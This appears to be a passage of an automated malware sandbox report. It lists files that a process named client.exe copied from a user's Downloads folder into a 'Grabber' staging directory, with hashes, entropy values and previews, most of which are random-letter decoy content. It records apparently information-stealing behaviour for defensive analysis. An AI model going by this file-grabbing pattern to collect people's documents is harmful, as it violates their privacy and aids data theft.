File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	3.493087299556618
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmUclLwr2FlDmo0IWF9klrgl2FlDmo0qjKAev:QCGwv4o0hlLwiF4o0UUsF4o01AM
MD5:	ECF88F261853FE08D58E2E903220DA14
SHA1:	F72807A9E081906654AE196605E681D5938A2E6C
SHA-256:	CAFEC240D998E4B6E92AD1329CD417E8E9CBD73157488889FD93A542DE4A4844
SHA-512:	82C1C3DD163FBF7111C7EF5043B009DAFC320C0C5E088DEC16C835352C5FFB7D03C5829F65A9FF1DC357BAE97E8D2F9C3FC1E531FE193E84811FB8C62888A36B
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.2.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.5.....

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EOWRVPQCCS.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EWZCVGNOWT.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSR